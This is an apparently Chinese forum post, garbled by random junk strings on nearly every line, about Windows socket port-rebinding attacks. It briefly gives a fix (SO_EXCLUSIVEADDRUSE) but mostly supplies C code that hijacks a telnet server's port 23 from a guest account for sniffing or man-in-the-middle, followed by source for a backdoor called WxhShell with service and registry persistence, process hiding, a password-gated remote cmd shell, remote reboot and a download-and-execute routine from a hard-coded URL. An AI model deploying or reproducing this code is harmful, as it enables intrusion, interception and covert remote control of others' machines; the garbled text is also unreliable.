在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qr<-eJf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
;r0|_mnf U{U:8== saddr.sin_family = AF_INET;
4EaSg# .O@q5G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{7ZtOe o|p;6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
KV)Hywl` d~P<M3#> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i_jax)m% #NVF\ 这意味着什么?意味着可以进行如下的攻击:
GDNh?R R9|2&pfm(M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3_R c:`` Y: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
B~'VDOG$Z yP1Y3Tga= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xqi*N13 ]IbPWBX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
r=iMo7q ~_# Y,)S!z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d
=B@EyN 1b
%T_a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{YO%JTQ a@V/sh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8f6;y1!; R|Q_W X
#include
XeIUdg4>R #include
h.}t${1ZC #include
AD!<%h: #include
+ 8K1]'t$ DWORD WINAPI ClientThread(LPVOID lpParam);
U`8^N.Snrp int main()
G2[IO $ {
6iV"Tl{z- WORD wVersionRequested;
9wYtOQ{g DWORD ret;
a|6x!p2X WSADATA wsaData;
Te U7W?M^ BOOL val;
r%m7YwXo SOCKADDR_IN saddr;
kS\. SOCKADDR_IN scaddr;
foP>w4pB int err;
U_
?elz\
SOCKET s;
,SE$Rh SOCKET sc;
/v;)H#; int caddsize;
#ejw@bd HANDLE mt;
4HJZ^bq9| DWORD tid;
+DbWMm wVersionRequested = MAKEWORD( 2, 2 );
kUaGok? err = WSAStartup( wVersionRequested, &wsaData );
mC[U)` ey if ( err != 0 ) {
*n|0\V< printf("error!WSAStartup failed!\n");
tci%=3,) return -1;
HC;I0&v> }
8t*%q+Z saddr.sin_family = AF_INET;
5w [= mB|mt+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M_e$l`"G 5[j!\d}U saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
eV{FcJha saddr.sin_port = htons(23);
" jQe\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"<jEI /
{
BHJ'[{U*w printf("error!socket failed!\n");
sY;gh`4h return -1;
l
SVW}t }
v(Zi;?c val = TRUE;
{i%xs#0h //SO_REUSEADDR选项就是可以实现端口重绑定的
"aCb;2Rs if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
CAo )v,f {
DP6{HR$L printf("error!setsockopt failed!\n");
J PzQBc5e return -1;
N5 rG.6K }
5c}9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:!iPn% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>&TnTv?I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4xpWO6Q /@nRL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3!oQmG_T {
g<T`F ret=GetLastError();
4{pemqS* printf("error!bind failed!\n");
<%3SI. return -1;
q
V
UUuyF }
wq_oh*"
listen(s,2);
| 8L`osg while(1)
%d[xr h {
kW2nrkF caddsize = sizeof(scaddr);
K%TKQ<R| //接受连接请求
r(in]7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]20"la5 if(sc!=INVALID_SOCKET)
X,Q=n2X?3 {
tId !C mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
IL6f~! if(mt==NULL)
"k1Tsd- {
5 *pN<S printf("Thread Creat Failed!\n");
ks#Z~6+3 break;
e9_O/i N }
&pY G }
AIxBZt7{b CloseHandle(mt);
gUszMhHX }
BQ}.+T\ closesocket(s);
>wS:3$Q WSACleanup();
$H:h(ia: return 0;
Qdr-GODx }
:%b2;&A[ DWORD WINAPI ClientThread(LPVOID lpParam)
LI|HET_ {
z vylL
M SOCKET ss = (SOCKET)lpParam;
U1HD~ SOCKET sc;
C94UF7al unsigned char buf[4096];
V-ouIqnI SOCKADDR_IN saddr;
ExP25T long num;
6j"I5,-~! DWORD val;
hC,-9c DWORD ret;
WKIiJ{@L //如果是隐藏端口应用的话,可以在此处加一些判断
.SV3<) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6L> "m0 saddr.sin_family = AF_INET;
7@cvy?
v{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\y )4`A saddr.sin_port = htons(23);
!4,xQ^
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)(!Z90@ {
7CL@iL Tq printf("error!socket failed!\n");
+j: Ld( return -1;
_t;VE06Xjs }
YG1`%,OW` val = 100;
aLk2#1$g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rUpAiZfz > {
_yB9/F ret = GetLastError();
Fx99"3`3 return -1;
n25tr'= }
(`y|AOs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y3[)zv {
;6 qdOD6 ret = GetLastError();
*;yMD-= return -1;
= 4WZr }
Nl<,rD+KSD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"X(= {
- QI`npsnV printf("error!socket connect failed!\n");
-zLI!F 0 closesocket(sc);
{i}Q}OgYq closesocket(ss);
@$yYljP return -1;
cTaD{!zm5 }
?| LB:8
while(1)
hGo|2@sc {
8U:dgXz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
EbYH?hPo //如果是嗅探内容的话,可以再此处进行内容分析和记录
UG'U
D" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/N{@g.edL num = recv(ss,buf,4096,0);
.d!*<`S| if(num>0)
n9/0W%X> send(sc,buf,num,0);
HWfX>Vf>}k else if(num==0)
z slEUTj) break;
u&_U
CJCf num = recv(sc,buf,4096,0);
j4SGA#;v if(num>0)
Bt7v[Ot
send(ss,buf,num,0);
A^@ <+? else if(num==0)
L.:QI<n break;
LqsJHG }
^r
:A^q closesocket(ss);
!gew;Jz closesocket(sc);
N&h!14]{Z return 0 ;
/cen#pb }
1`_)%Y[ZJ RZh)0S>J {bW3%iU ==========================================================
9Zsb1 M!n> 6:tr8 X_ 下边附上一个代码,,WXhSHELL
+vSE}
F-,{+B66 ==========================================================
GiwA$^Hg\ "[S
6w #include "stdafx.h"
5g>kr<K >b?)WNk #include <stdio.h>
*9(1:N;# #include <string.h>
jyH_/X5i7 #include <windows.h>
K/+C6Y? #include <winsock2.h>
SY)$2RC+} #include <winsvc.h>
[gp:nxyfQm #include <urlmon.h>
y]4`d ly%B!P| #pragma comment (lib, "Ws2_32.lib")
i O|,,;_ #pragma comment (lib, "urlmon.lib")
BIf].RY ~RAH -] #define MAX_USER 100 // 最大客户端连接数
2I7` #define BUF_SOCK 200 // sock buffer
u`@FA?+E1 #define KEY_BUFF 255 // 输入 buffer
NT/B4'_@ swL|Ff`$ #define REBOOT 0 // 重启
2B dr#qr #define SHUTDOWN 1 // 关机
xF|*N<9(</ |6^ K #define DEF_PORT 5000 // 监听端口
K61os&K N4jLbnA #define REG_LEN 16 // 注册表键长度
BQ0\+ #define SVC_LEN 80 // NT服务名长度
:Ia&,;Gc =T}uQ$X // 从dll定义API
XqH<)B
] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x.Ml~W[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}c5`~ LLK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#zs\Z]3# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VVl-cU NWK_(=n // wxhshell配置信息
't.F.t struct WSCFG {
a\_,_psK int ws_port; // 监听端口
Vdk+1AX char ws_passstr[REG_LEN]; // 口令
beZ| i 1: int ws_autoins; // 安装标记, 1=yes 0=no
T=dvc} char ws_regname[REG_LEN]; // 注册表键名
1u+(rVQN char ws_svcname[REG_LEN]; // 服务名
fGWK&nONyk char ws_svcdisp[SVC_LEN]; // 服务显示名
oz@6%3+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
&ru0i@?) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Rj`Y X0?+ int ws_downexe; // 下载执行标记, 1=yes 0=no
vGT.(:\-, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kk+8NwM1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7"i*J6y* eJp-s" % };
0*@S-Lj^c D +""o"% // default Wxhshell configuration
jloyJ@ck struct WSCFG wscfg={DEF_PORT,
Ib2pV2`h( "xuhuanlingzhe",
|R/50axI 1,
AB\4+ CLV "Wxhshell",
L]<4{8H. "Wxhshell",
TJ:Lz]l > "WxhShell Service",
UdJV;T'rm "Wrsky Windows CmdShell Service",
|h/2'zd^- "Please Input Your Password: ",
:q1r2&ne 1,
$7d"9s\$" "
http://www.wrsky.com/wxhshell.exe",
$u"$mg7x "Wxhshell.exe"
p
n>`v };
R,1 ,4XT 6|}mTG^ // 消息定义模块
b.;}Hq> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Tj9q(Vq char *msg_ws_prompt="\n\r? for help\n\r#>";
rtE,SN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
h
cXqg char *msg_ws_ext="\n\rExit.";
B{ "<\g char *msg_ws_end="\n\rQuit.";
X&Lt?e,& char *msg_ws_boot="\n\rReboot...";
/Ql}jSKi char *msg_ws_poff="\n\rShutdown...";
]#n4A|&H char *msg_ws_down="\n\rSave to ";
NLY5L7 w,9F riW char *msg_ws_err="\n\rErr!";
3v U (4}@ char *msg_ws_ok="\n\rOK!";
P$I\)Q H Y&:i^k char ExeFile[MAX_PATH];
5K{h)* *5 int nUser = 0;
oD\+ 5[x HANDLE handles[MAX_USER];
@CF4:NNHw int OsIsNt;
>O~5s.1u nVzo=+Yp SERVICE_STATUS serviceStatus;
V}qmH2h SERVICE_STATUS_HANDLE hServiceStatusHandle;
54w-yY m.1BLN[9 // 函数声明
g"Bv!9*H int Install(void);
!d(V7`8 int Uninstall(void);
d*L'`BBsp int DownloadFile(char *sURL, SOCKET wsh);
1[^d8!U int Boot(int flag);
y9)",G! void HideProc(void);
^ BKr0~4A int GetOsVer(void);
:TI1tJS~* int Wxhshell(SOCKET wsl);
*cI Xae^Y7 void TalkWithClient(void *cs);
<bI,y_<K int CmdShell(SOCKET sock);
? Q}{&J int StartFromService(void);
=w-H ) int StartWxhshell(LPSTR lpCmdLine);
EA.U>5Fq ;zDc0qpw VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
to7)gOX( VOID WINAPI NTServiceHandler( DWORD fdwControl );
|=s3a5sl 4>* `26 // 数据结构和表定义
Vk-_H)*r SERVICE_TABLE_ENTRY DispatchTable[] =
W:\VFPf2 {
gzF&7trN {wscfg.ws_svcname, NTServiceMain},
+E4_^ {NULL, NULL}
YSyW '~!b };
fZ$2bI= E"=$p$k // 自我安装
_8
J(;7 int Install(void)
}q9f,mz {
}R$%MU5:: char svExeFile[MAX_PATH];
plfB}p HKEY key;
NO^(D+9 strcpy(svExeFile,ExeFile);
QUf_fe!,| Gj 3/&'k6 // 如果是win9x系统,修改注册表设为自启动
'Iu(lpF& if(!OsIsNt) {
v*3:8Y, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wn`budH?c8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1CbC|q RegCloseKey(key);
whCv9)x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v(`$%V. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M .,|cx RegCloseKey(key);
2uIAnbW]M return 0;
vaL-Mi(_ }
z@~rm9d }
)f
Rh^6 }
5S LF1u; else {
zlE kP @) >pKI' // 如果是NT以上系统,安装为系统服务
Gj=il-Po SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ry C7 if (schSCManager!=0)
bxs@_fH {
A7H=#L+C SC_HANDLE schService = CreateService
R9(^CWs (
OK=t)6&b schSCManager,
GF&"nW9A wscfg.ws_svcname,
o/R-1\Dn wscfg.ws_svcdisp,
Wm 61 SERVICE_ALL_ACCESS,
K#jm6Xh?E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)1/O_N6C SERVICE_AUTO_START,
^gG,}GTl SERVICE_ERROR_NORMAL,
rQJoaP+\q svExeFile,
RMXP)[ NULL,
^d,d<Uc NULL,
6]VTn- NULL,
v|6fqG+Q\ NULL,
y@I"Hk<T NULL
?=/l@ d );
VMp6s%m if (schService!=0)
DcS~@ ; {
6%TV X CloseServiceHandle(schService);
\T0`GpE CloseServiceHandle(schSCManager);
X`&E,;bIb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
eW/Hn strcat(svExeFile,wscfg.ws_svcname);
Ax
^9J)C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Eq
t61O$x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
dSbV{*B;> RegCloseKey(key);
M5]wU return 0;
# /T)9 =m }
/-T%yuU }
lI9 3{!+> CloseServiceHandle(schSCManager);
y03l_E, }
HM/ qB^ }
7DDot_qb kDsUKO
p
return 1;
rAWBuEU;! }
]#`bYh^y [{YV<kN // 自我卸载
%llG/]q# int Uninstall(void)
"LYob}_z {
zC7;Zj*k HKEY key;
Ae1},2py "'%x|nB if(!OsIsNt) {
t1kD5^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
||qW'kNWM RegDeleteValue(key,wscfg.ws_regname);
3hkA`YSYt RegCloseKey(key);
]^!#0( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&3rh{" ^9 RegDeleteValue(key,wscfg.ws_regname);
52oR^| RegCloseKey(key);
>a,w8 ^7 return 0;
q+<TD#xoL }
Gv`PCA@/d }
CXa$QSu > }
~/t#J else {
6(.&y; -szvO_UP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=3FXU{"Qi4 if (schSCManager!=0)
<R2bz1!h. {
dpy,;nqzeN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k,2%%m if (schService!=0)
d97wiE/i< {
*fE5Z;!} if(DeleteService(schService)!=0) {
*{uu_O CloseServiceHandle(schService);
S5j#&i CloseServiceHandle(schSCManager);
+ EM '- return 0;
Xr@0RFdr[ }
jk~<si CloseServiceHandle(schService);
Q9(
eH2= }
sviGS&J9h CloseServiceHandle(schSCManager);
9rhz#w }
bp }~{]:b }
17-K~ybc mV-MJ$3r return 1;
xMe[/7)4 }
&4DWLI ~U`aH~R // 从指定url下载文件
1_A< nt?'R int DownloadFile(char *sURL, SOCKET wsh)
y<)x`&pcD {
f+rBIE HRESULT hr;
wEdXaOEB5 char seps[]= "/";
|KuH2,n0 char *token;
Zvc{o8^z char *file;
\hg12],#:@ char myURL[MAX_PATH];
xk#/J]j char myFILE[MAX_PATH];
kc}e},k T7[ItLZ strcpy(myURL,sURL);
4]Krx
m`8 token=strtok(myURL,seps);
C@xh$(y while(token!=NULL)
86[TBX5' {
TtHqdKL file=token;
o_?YYw-: token=strtok(NULL,seps);
-q[?,h }
7uYJ_R bEM-^SR GetCurrentDirectory(MAX_PATH,myFILE);
h9No'!'! strcat(myFILE, "\\");
O `*}N1No[ strcat(myFILE, file);
*edB3!! send(wsh,myFILE,strlen(myFILE),0);
ondF send(wsh,"...",3,0);
m/<7FU8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Uc.K6%iI if(hr==S_OK)
\ZXH(N*>2t return 0;
]2?t$"G8 else
Z O&5C6qa return 1;
NI3_wV `U)~fu/\2M }
}yUZ(k# b*7OIN5h // 系统电源模块
<Dl7|M int Boot(int flag)
nT:ZSJWM {
O0e6I&u: HANDLE hToken;
<`BUk< uf# TOKEN_PRIVILEGES tkp;
KATt9ox@
TwY]c<t if(OsIsNt) {
4~D?F'o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d&F8nBIM5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
^ [2A<
g tkp.PrivilegeCount = 1;
k5(@n>p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
oGa8}Vtc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
l9\
*G; if(flag==REBOOT) {
t
7+ifSrz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LG(bdj"NM return 0;
0m!+gZ@ }
N\rbnr else {
_8S!w>$) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P/4]x@{ih return 0;
[*@"[u }
OT+LQ TE }
:2}zovsdj else {
o@vo,JU if(flag==REBOOT) {
tv5G']vO\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
6Z0@4_Y@B6 return 0;
aH*)W'N? }
.cjSgK1 else {
(]1n! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LGV"WE return 0;
VD,g }
n)gzHch }
YhRES]^ #2s$dI return 1;
K08xiMjl }
5$/ED3mcK ,,OO2EgZ` // win9x进程隐藏模块
xM'bb5 void HideProc(void)
b 'jZ4{+W {
/{6PwlP5 P-.>vi^+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u?i_N0H if ( hKernel != NULL )
8i;EpAwB {
j@
lHgis pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
q{ i9VJ] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1TJ2HO=Y FreeLibrary(hKernel);
N[:;f^bH49 }
[2:Q.Zj )l~:Puvh return;
"8>T }
kZfa8wL]P A}W)La\
// 获取操作系统版本
q,(U 8 int GetOsVer(void)
v'mRch)d {
BagO0# OSVERSIONINFO winfo;
a"@k11 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
x\T 9V~8a GetVersionEx(&winfo);
jhl9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
iv*`.9TK- return 1;
(R5n ND else
Dk[m)]w\ return 0;
9!&fak_ }
V i V3Y ErnjIx: // 客户端句柄模块
;EDc1: int Wxhshell(SOCKET wsl)
~.;+uH<i {
YMb\v4 SOCKET wsh;
>)\x\e struct sockaddr_in client;
m^I+>Bp/: DWORD myID;
ZCVwQ#Xe+ )RG@D\t , while(nUser<MAX_USER)
0]p!
Bscaf {
46OYOa int nSize=sizeof(client);
+uZ,}J wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]?tC+UKb if(wsh==INVALID_SOCKET) return 1;
e=e^;K4 O/
Yz6VQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9.)*z-f$ if(handles[nUser]==0)
Z]OXitt7 closesocket(wsh);
Z<jio else
o_R<7o/d| nUser++;
'RZ=A+% X }
3c#oK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>zx]%
W R9bsl.e return 0;
dnRbt{`jP }
HGM ?
?= O<}3\O )G( // 关闭 socket
ZFYv|2l void CloseIt(SOCKET wsh)
.LMOmc=( {
nE;^xMOK! closesocket(wsh);
t+y$i@R: nUser--;
e1ts/@V ExitThread(0);
DO6Tz-%o }
!D#wSeJ =Y!x // 客户端请求句柄
4
JC*c void TalkWithClient(void *cs)
PW7{,1te, {
RI.6.f1dy }(tuBJ9 SOCKET wsh=(SOCKET)cs;
nwSujD char pwd[SVC_LEN];
$$'a char cmd[KEY_BUFF];
nz_=]PHO& char chr[1];
G4O
$gg int i,j;
B6qM0QW dAg<BK/ while (nUser < MAX_USER) {
o\<m99Ub *WTmS2?'h if(wscfg.ws_passstr) {
I!LSDi3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S=NP}4w,_) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/L |$*
Xj //ZeroMemory(pwd,KEY_BUFF);
_%M+!Ltz i=0;
6WI-ZEVp& while(i<SVC_LEN) {
^<u9I5? p>x[:* // 设置超时
(h&XtFul} fd_set FdRead;
#WE"nh9f|z struct timeval TimeOut;
< 7 FD_ZERO(&FdRead);
ct o+W}k FD_SET(wsh,&FdRead);
e8E*Urtz TimeOut.tv_sec=8;
w2 %u;D% TimeOut.tv_usec=0;
fyHFfPEE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
0'm$hU} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`wGP31Y. R{6~7<m. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ppYIVI pwd
=chr[0]; \Dn47V{7-
if(chr[0]==0xd || chr[0]==0xa) { Q5K<ECoPk
pwd=0; /xS4>@hn
break; t?&@bs5~g
} Xgb ~ED]
i++; sWtT"7>x
} q!fdiv`
1VXyn\
// 如果是非法用户,关闭 socket +,8j]<wpo
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b\
P6,s'(
} yZHh@W4v
NCu:E{([
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cpY'::5.%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %KjvV<f-a
:6h$1
+6
while(1) { J~jxmh
O8\> ?4)
ZeroMemory(cmd,KEY_BUFF); }8lvi
vR4
1&7~.S;km
// 自动支持客户端 telnet标准 E8gbm&x*
j=0; uDe%M
while(j<KEY_BUFF) { D6Q6yNE
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5>S=f{ghFw
cmd[j]=chr[0]; heizO",8.&
if(chr[0]==0xa || chr[0]==0xd) { --D&a;CO}
cmd[j]=0; A,H|c="
break; _0GM!Cny
} aB$xQ|~
j++; mKTa.
} k_,wa]ws$
<]w(1{q(
// 下载文件 Sh@en\m=#S
if(strstr(cmd,"http://")) { k'6Poz+<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %jBI*WzR
if(DownloadFile(cmd,wsh)) '!V5 #J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /7`fg0A
else 'gD,HX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1J{1>r
} ?^X
e^1(
else { UZ*Yt
*m>XtBw.
switch(cmd[0]) { jIvSjlm I
O,D/&0
// 帮助 M"W~%
case '?': { $E >)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uo<iZ3J
break; DQ08dP((v
}
0m&
// 安装 Hyn* O)q!
case 'i': { K|a^<|
S
if(Install()) ;:`0:Ao.
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
4tGP-
L
else 5eL_iNqJM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G+k~k/D 6
break; 1s "/R
} R3dt-v
// 卸载 asj*/eC$/i
case 'r': { >}I BPC
if(Uninstall()) Ho^rYz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2a,l;o$2&
else USDqh437
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mh$ Nwr/W:
break; `@tnEg
} 3;E,B7,mQ
// 显示 wxhshell 所在路径 VV%Q "0\
case 'p': { 8am/5o
char svExeFile[MAX_PATH]; =rL^^MZp
strcpy(svExeFile,"\n\r"); ^#0k\f>_
strcat(svExeFile,ExeFile); P;8D|u^\*
send(wsh,svExeFile,strlen(svExeFile),0); Shag4-*@hi
break; BKJwM'~
} ^_0l(ke
// 重启 Cju%CE3a
case 'b': { Jx-dWfe
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z\1wEGP7{
if(Boot(REBOOT)) USrBi[_ci\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l,w$!FnmR
else { QPZ|C{Ce
closesocket(wsh); Vmb `%k20'
ExitThread(0); p$+.]
} OZCbMeB{+J
break; IPTEOA<M[
} q\I2lZ
// 关机 9FKowF_8
case 'd': { PKK18E}{%^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jn:9Cr,o;g
if(Boot(SHUTDOWN)) qiyX{J7Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OtsW>L@ O(
else { O\z]1`i*o
closesocket(wsh); wU $j/~L
ExitThread(0); 2<X.kM?N{B
} ?z/ )Hkw
break; %9HL"
} $p?TE8G
// 获取shell C%LXGMt
case 's': { p2)563#RS
CmdShell(wsh); /t$J<bU
closesocket(wsh); ch-.+p3
ExitThread(0); qVe&nXo
break; MEled:i
} o
00(\ -eb
// 退出 3{/Y&/\"'^
case 'x': { 6
h%%?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \[CPI`yQe
CloseIt(wsh); C\RJ){dk
break; '0MH-M
} Kc,=J?Ob
// 离开 ] l@Mo7|w
case 'q': { mu/GOEZ5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); dPx{9Y<FzU
closesocket(wsh); +T,Yf/^Fn
WSACleanup(); Q"VS;uh.v
exit(1); G Ch]5\
break; J =j6rD
} Oh]RIWL
} mR|;}u;d
} -w3KBlo
Q.zE}ZS
// 提示信息 NKX62 ZC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^v+3qm@,
} 'G>gNq
} o)}M$}4
J.;{`U=:
return; O% }EpIP_
} U1,f$McZs
z<h?WsL
// shell模块句柄 [i 7^a/e
int CmdShell(SOCKET sock) POl_chq
{ J 6%CF2
STARTUPINFO si; c1>:|D7w
ZeroMemory(&si,sizeof(si)); :u4q.^&!e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L?:fyNA3[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [)S7`K;
PROCESS_INFORMATION ProcessInfo; gfU@`A_N"
char cmdline[]="cmd"; 5+yT{,(5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8-.jf
return 0; 6%Ws>H4@|
} :3h'Hr
E|`JmfLQu
// 自身启动模式 fx#Krr@
int StartFromService(void) x } X1
O)
{ X`'
@G
typedef struct -s5>GwZt
{ <JkmJ/X
DWORD ExitStatus; E2%{?o
DWORD PebBaseAddress; fHc/5uYW
DWORD AffinityMask; %<?U`o@*
DWORD BasePriority; G~$[(Fhk
ULONG UniqueProcessId; ,2*x4Gycb
